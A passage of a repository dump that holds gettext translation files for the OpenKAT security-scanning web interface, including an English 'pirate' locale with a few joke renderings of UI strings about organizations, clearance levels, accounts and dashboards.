discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\n#, python-format\nmsgid \"Could not load origins for OOI: %s from octopoes\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Could not load normalizer metas from bytes\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\n#, python-format\nmsgid \"Could not load boefje %s from katalogus\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \"\"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"\"\n"
  },
  {
    "path": "rocky/rocky/locale/en@pirate/LC_MESSAGES/django.po",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# jan klopper <jan@underdark.nl>, 2023, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: jan klopper <jan@underdark.nl>\\n\"\n\"Language-Team: English (Pirate) <https://hosted.weblate.org/projects/openkat/\"\n\"nl-kat-coordination/en@pirate/>\\n\"\n\"Language: en@pirate\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Pick yur poison ---\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"Name this ship.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"A ship needs a name.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"Board another ship.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"A ship code is needed to proceed.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"Choose another name for yur ship.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"Set the pirates status to blocked, so they can't board the ship no longer.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"A Ship is required.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"Ships\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"The ship ye'd like to look like.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"A reset link will be bottled to this address post-haste\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: 